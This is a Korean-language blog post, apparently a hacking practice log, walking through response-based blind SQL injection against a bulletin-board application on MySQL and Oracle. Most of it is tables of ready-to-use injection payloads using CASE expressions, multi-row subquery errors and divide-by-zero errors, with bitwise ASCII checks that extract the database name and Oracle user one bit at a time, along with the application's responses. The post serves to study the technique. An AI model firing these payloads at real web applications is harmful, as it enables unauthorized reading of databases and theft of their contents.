Oh! JUN

Response-Based SQL Injection 공격 실습 본문

웹 해킹/SQL Injection

Response-Based SQL Injection 공격 실습

Kwon Oh! JUN 2022. 9. 17. 20:28

★ 주의사항

 

Response-Based SQL Injection은 각 DBMS별 버전에 따라서 구문 실행이 되지 않을 수 있으며, 웹 어플리케이션 서버 환경에 따라 되지 않을 수 있음.

 

 


# MYSQL

MYSQL은 다중 레코드 오류로 발생가능하니까 적용시켜보면 

 

keyword Input 결과
1번째 방법
select * from tb_board where title like '%' and (select case when 1=2 then 'a' else (select 'a' union select 'b') end)# %' -에러 발생- 관리자에게 문의하시오.
select * from tb_board where title like '%' and (select case when 1=1 then 'a' else (select 'a' union select 'b') end)# %' Posts does not exist.
2번째 방법
select * from tb_board where title like '%' and 'a'=(select case when 1=2 then 'a' else (select 'a' union select 'b') end)# %' -에러 발생- 관리자에게 문의하시오.
select * from tb_board where title like '%' and 'a'=(select case when 1=1 then 'a' else (select 'a' union select 'b') end)# %' 게시물 전체 조회

 

' and (select case when 1=1 then 'a' else (select 'a' union select 'b') end)# 결과
' and 'a'=(select case when 1=1 then 'a' else (select 'a' union select 'b') end)#

거짓
Posts does not exist. -에러 발생- 관리자에게 문의하시오.
게시물 전체 조회 -에러 발생- 관리자에게 문의하시오.

 

위의 쿼리 둘다

: Posts does not exist / 거짓 : -에러 발생- 관리자에게 문의하시오.

: 게시물 전체 조회 / 거짓 : -에러 발생- 관리자에게 문의하시오.

로 나눌 수 있으니까 blind-injection이 가능하다.

 


 

MYSQL : DB 이름 구하기 (1번째 방법)
' and (select case when ascii(substring((select database()),1,1))&1=1 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0 DB : b□□□□
' and (select case when ascii(substring((select database()),1,1))&2=2 then 'a' else (select 'a' union select 'b') end)# Posts does not exist. 1
' and (select case when ascii(substring((select database()),1,1))&4=4 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0
' and (select case when ascii(substring((select database()),1,1))&8=8 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0
' and (select case when ascii(substring((select database()),1,1))&16=16 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0
' and (select case when ascii(substring((select database()),1,1))&32=32 then 'a' else (select 'a' union select 'b') end)# Posts does not exist. 1
' and (select case when ascii(substring((select database()),1,1))&64=64 then 'a' else (select 'a' union select 'b') end)# Posts does not exist. 1
' and (select case when ascii(substring((select database()),1,1))&128=128 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0
01100010 → 98 → 'b'
...생략    
' and (select case when ascii(substring((select database()),5,1))&128=128 then 'a' else (select 'a' union select 'b') end)#   DB : board
MYSQL : DB 이름 구하기 (2번째 방법)
' and 'a'=(select case when ascii(substring((select database()),1,1))&1=1 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0 DB : b□□□□
' and 'a'=(select case when ascii(substring((select database()),1,1))&2=2 then 'a' else (select 'a' union select 'b') end)# 게시물 전체 조회 1
' and 'a'=(select case when ascii(substring((select database()),1,1))&4=4 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0
' and 'a'=(select case when ascii(substring((select database()),1,1))&8=8 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0
' and 'a'=(select case when ascii(substring((select database()),1,1))&16=16 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0
' and 'a'=(select case when ascii(substring((select database()),1,1))&32=32 then 'a' else (select 'a' union select 'b') end)# 게시물 전체 조회 1
' and 'a'=(select case when ascii(substring((select database()),1,1))&64=64 then 'a' else (select 'a' union select 'b') end)# 게시물 전체 조회 1
' and 'a'=(select case when ascii(substring((select database()),1,1))&128=128 then 'a' else (select 'a' union select 'b') end)# -에러 발생- 관리자에게 문의하시오. 0
01100010 → 98 → 'b'
...생략    
' and 'a'=(select case when ascii(substring((select database()),5,1))&128=128 then 'a' else (select 'a' union select 'b') end)#   DB : board

# ORACLE

 

1번째 방법('%'||[keyword Input]||'%')
'||(select case when 1=1 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' 타이틀 'a' 들어간 게시물 조회(정상 작동)
'||(select case when 1=2 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' Posts does not exist(다중 레코드여서 오류 떠야되는데 안뜸)
※참고
select * from TB_BOARD where title like '%'||(select case when 1=1 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||'%'
ORACLE에서는 ||은 연결연산자로 '%'||'test'||'%'은 '%test%'와 같다. 
그래서 오른쪽 쿼리를 보면 1=1은 참이니까 'a' 즉 '%'||'a'||'%'니까 '%a%' 타이틀에 a가 포함된 게시물을 조회한다.
2번째 방법(다중 레코드 / 문자형)
' and 'a'=(select case when 1=2 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when 1=1 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- 정상 출력('%' and 'a'='a' 전체 참이니까 전체 게시물 출력)
3번째 방법(Divide by Zero / 문자형)
' and 'a'=(select case when 1=2 then 'a' else (CAST(1/0 as char)) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when 1=1 then 'a' else (CAST(1/0 as char)) end from dual)-- 정상 출력('%' and 'a'='a' 전체 참이니까 전체 게시물 출력)
4번째 방법(Divide by Zero / 숫자형)
' and 1=(select case when 1=2 then 1 else 1/0 end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 1=(select case when 1=1 then 1 else 1/0 end from dual)-- 정상 출력('%' and 1=1 전체 참이니까 전체 게시물 출력)

ORACLE : user 구하기 (1번째 방법)
'||(select case when BITAND(ascii(substr((select user from dual),1,1)),1)=1 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' 타이틀 'a' 들어간 게시물 조회(정상 작동) user :  C□□□□□□□□□□□□□
'||(select case when BITAND(ascii(substr((select user from dual),1,1)),2)=2 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' 타이틀 'a' 들어간 게시물 조회(정상 작동)
'||(select case when BITAND(ascii(substr((select user from dual),1,1)),4)=4 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' Posts does not exist(다중 레코드여서 오류 떠야되는데 안뜸)
'||(select case when BITAND(ascii(substr((select user from dual),1,1)),8)=8 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' Posts does not exist(다중 레코드여서 오류 떠야되는데 안뜸)
'||(select case when BITAND(ascii(substr((select user from dual),1,1)),16)=16 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' Posts does not exist(다중 레코드여서 오류 떠야되는데 안뜸)
'||(select case when BITAND(ascii(substr((select user from dual),1,1)),32)=32 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' Posts does not exist(다중 레코드여서 오류 떠야되는데 안뜸)
'||(select case when BITAND(ascii(substr((select user from dual),1,1)),64)=64 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' 타이틀 'a' 들어간 게시물 조회(정상 작동)
'||(select case when BITAND(ascii(substr((select user from dual),1,1)),128)=128 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||' Posts does not exist(다중 레코드여서 오류 떠야되는데 안뜸)
01000011 → 67 → 'C'
...생략    
'||(select case when BITAND(ascii(substr((select user from dual),14,1)),128)=128 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)||'   user : C##CREHACKTIVE

ORACLE : user 구하기 (2번째 방법)
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),1)=1 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- 정상 출력('%' and 'a'='a' 전체 참이니까 전체 게시물 출력) user :  C□□□□□□□□□□□□□
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),2)=2 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- 정상 출력('%' and 'a'='a' 전체 참이니까 전체 게시물 출력)
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),4)=4 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),8)=8 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),16)=16 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),32)=32 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- 정상 출력('%' and 'a'='a' 전체 참이니까 전체 게시물 출력)
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),64)=64 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),128)=128 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)-- -에러 발생- 관리자에게 문의하시오.
01000011 → 67 → 'C'
...생략    
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),14,1)),128)=128 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual)--   user : C##CREHACKTIVE

ORACLE : user 구하기 (3번째 방법)
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),1)=1 then 'a' else (CAST(1/0 as char)) end from dual)-- 정상 출력('%' and 'a'='a' 전체 참이니까 전체 게시물 출력) user :  C□□□□□□□□□□□□□
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),2)=2 then 'a' else (CAST(1/0 as char)) end from dual)-- 정상 출력('%' and 'a'='a' 전체 참이니까 전체 게시물 출력)
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),4)=4 then 'a' else (CAST(1/0 as char)) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),8)=8 then 'a' else (CAST(1/0 as char)) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),16)=16 then 'a' else (CAST(1/0 as char)) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),32)=32 then 'a' else (CAST(1/0 as char)) end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),64)=64 then 'a' else (CAST(1/0 as char)) end from dual)-- 정상 출력('%' and 'a'='a' 전체 참이니까 전체 게시물 출력)
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),1,1)),128)=128 then 'a' else (CAST(1/0 as char)) end from dual)-- -에러 발생- 관리자에게 문의하시오.
01000011 → 67 → 'C'
...생략    
' and 'a'=(select case when BITAND(ascii(substr((select user from dual),14,1)),128)=128 then 'a' else (CAST(1/0 as char)) end from dual)--   user : C##CREHACKTIVE

ORACLE : user 구하기 (4번째 방법)
' and 1=(select case when BITAND(ascii(substr((select user from dual),1,1)),1)=1 then 1 else 1/0 end from dual)-- 정상 출력('%' and 1=1 전체 참이니까 전체 게시물 출력) user :  C□□□□□□□□□□□□□
' and 1=(select case when BITAND(ascii(substr((select user from dual),1,1)),2)=2 then 1 else 1/0 end from dual)-- 정상 출력('%' and 1=1 전체 참이니까 전체 게시물 출력)
' and 1=(select case when BITAND(ascii(substr((select user from dual),1,1)),4)=4 then 1 else 1/0 end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 1=(select case when BITAND(ascii(substr((select user from dual),1,1)),8)=8 then 1 else 1/0 end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 1=(select case when BITAND(ascii(substr((select user from dual),1,1)),16)=16 then 1 else 1/0 end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 1=(select case when BITAND(ascii(substr((select user from dual),1,1)),32)=32 then 1 else 1/0 end from dual)-- -에러 발생- 관리자에게 문의하시오.
' and 1=(select case when BITAND(ascii(substr((select user from dual),1,1)),64)=64 then 1 else 1/0 end from dual)-- 정상 출력('%' and 1=1 전체 참이니까 전체 게시물 출력)
' and 1=(select case when BITAND(ascii(substr((select user from dual),1,1)),128)=128 then 1 else 1/0 end from dual)-- -에러 발생- 관리자에게 문의하시오.
01000011 → 67 → 'C'
...생략    
' and 1=(select case when BITAND(ascii(substr((select user from dual),14,1)),128)=128 then 1 else 1/0 end from dual)--   user : C##CREHACKTIVE